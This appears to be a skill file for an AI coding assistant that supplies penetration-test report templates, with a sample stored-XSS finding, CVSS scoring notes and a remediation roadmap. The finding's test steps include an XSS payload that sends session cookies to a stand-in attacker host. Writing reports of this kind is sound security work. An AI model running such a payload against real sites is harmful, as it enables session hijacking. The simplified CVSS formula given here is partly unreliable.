pentest-report

name	pentest-report
description	Penetration test report writing — executive summary, technical writeup, CVSS scoring, remediation roadmap advisory. Triggers on pentest report, executive summary, technical writeup, CVSS, remediation roadmap, finding writeup, retest report.
license	MIT
compatibility	Works with Claude Code
allowed-tools	Read Write Edit Grep
metadata	{"author":"badi","homepage":"https://github.com/fatihkan/badi-skills/tree/main/skills/pentest-report","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents report-generator"}

pentest-report

Pentest report writing. The final deliverable after the engagement.

Triggers

• "write a pentest report"
• "executive summary"
• "technical writeup"
• "compute a CVSS score"
• "remediation roadmap"
• "retest report"

Report Structure

1. Cover Page
2. Executive Summary (1-2 pages, non-technical)
3. Scope + Methodology (1 page)
4. Risk Matrix + Summary Findings Table
5. Detailed Findings (1-2 pages per finding)
6. Remediation Roadmap
7. Appendix (tool list, sample evidence, retest plan)

Executive Summary Template

# Executive Summary

The <pentest type> test authorized by [Company Name] was conducted by
[pentest firm name] over [date range]. <X> assets within the test scope
were examined: [short scope summary].

## Key Findings

A total of <N> findings were identified:
- **<X> Critical** — immediate action required
- **<X> High** — must be fixed within 30 days
- **<X> Medium** — 90 days
- **<X> Low** — best effort

Most serious finding: <short finding description>. This vulnerability poses a [business impact: client data
disclosure / financial loss / regulatory violation] risk.

## Overall Security Measurement

[Company Name]'s overall security maturity level was rated as
<Initial/Repeatable/Defined/Managed/Optimizing>. Compared with the prior-year baseline:
<improving / stable / degraded>.

## Strategic Recommendations

1. <Remediation for the critical finding>
2. <Process / culture recommendation: incident response drill, awareness training>
3. <Investment recommendation: SIEM coverage, MFA universal>

## Acceptance

This report was delivered as of [date]. The findings are opened for retest
on [date + 7 days].

Finding Template

## [BLG-001] Stored XSS in Comment Field — CRITICAL

### CVSS 3.1
**9.0 (Critical)** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N`

### Impact
Authenticated low-priv user can inject persistent JavaScript that executes
in admin browsers, leading to:
- Full admin session hijack
- Persistent malicious payload (persistent DB record)
- 1-click via existing workflow (admin moderator panel)

### Test Steps
1. Login: [e-mail] / Test123! (low priv)
2. Navigate: /comments
3. Submit: `<img src=x onerror="fetch('https://evil.tld/?c='+document.cookie)">`
4. Wait: the payload triggers when the admin opens the moderator review panel
5. Confirm: the cookie is delivered to the attacker server

### Evidence
- `evidence/blg-001-payload.png` (HAR file attached)
- `evidence/blg-001-cookie-exfil.png`
- `evidence/blg-001-admin-impact.mp4` (60s video)

### Affected Component
- File: `src/components/Comment.tsx:42`
- Component: CommentRenderer.render
- Endpoint: POST /api/comments

### Root Cause
Server-side comment body sanitization is missing. The frontend renders it directly
with `dangerouslySetInnerHTML`.

### Suggested Fix

**Quick fix (1 day)**: Server-side sanitization
```javascript
// src/api/comments.js
import DOMPurify from 'isomorphic-dompurify';
const cleanBody = DOMPurify.sanitize(req.body.body, { ALLOWED_TAGS: ['b','i','em'] });

Long-term (1 week):

• Content Security Policy header: default-src 'self'; script-src 'self' 'nonce-{random}'
• Cookie flag: HttpOnly + Secure + SameSite=Strict
• Code review checklist: dangerouslySetInnerHTML usage approval

Verification

Submit the same payload during the retest -> it must be sanitized, not executed.

CWE / MITRE

• CWE-79: Improper Neutralization of Input (Cross-Site Scripting)
• MITRE: T1059.007 (Command and Scripting Interpreter: JavaScript)

Reference

• OWASP XSS Prevention Cheatsheet
• HackerOne similar finding

## CVSS 3.1 Calculator (Quick)

Base Score = Impact * Exploitability

Impact = 1 - ((1-C) * (1-I) * (1-A)) C, I, A: None=0, Low=0.22, High=0.56

Exploitability = 8.22 * AV * AC * PR * UI AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2 AC: Low=0.77, High=0.44 PR: None=0.85, Low=0.62, High=0.27 (Scope U) None=0.85, Low=0.68, High=0.50 (Scope C) UI: None=0.85, Required=0.62

If Scope Unchanged: if Impact <= 0: BaseScore = 0 else: BaseScore = roundup(min(Impact + Exploitability, 10))

If Scope Changed: BaseScore = roundup(min(1.08 * (Impact + Exploitability), 10))

Online: https://www.first.org/cvss/calculator/3.1

## Remediation Roadmap

```markdown
| Priority | Finding | Effort | Owner | Due | Status |
|----------|-------|--------|-------|-----|--------|
| P0 | BLG-001 Stored XSS | 8h | Frontend | 2026-05-22 | In progress |
| P0 | BLG-002 SQL Injection | 12h | Backend | 2026-05-22 | Open |
| P1 | BLG-003 Weak Cipher | 4h | DevOps | 2026-06-15 | Open |
| P2 | BLG-004 Missing HSTS | 2h | DevOps | 2026-07-30 | Open |
| P3 | BLG-005 Verbose Error | 1h | Backend | Best effort | Open |

Retest Plan

• Time window: within 30 days
• Scope: only findings detected in the original engagement
• Method: PoC reproduce + remediation verification
• Output: Per-finding "Resolved" / "Open" / "Mitigated" + delta report

Out-of-Scope

• Report PDF rendering (Latex, Word) — template is ready; the format is the client's side
• Automated finding writing (template exists; content is manual/human)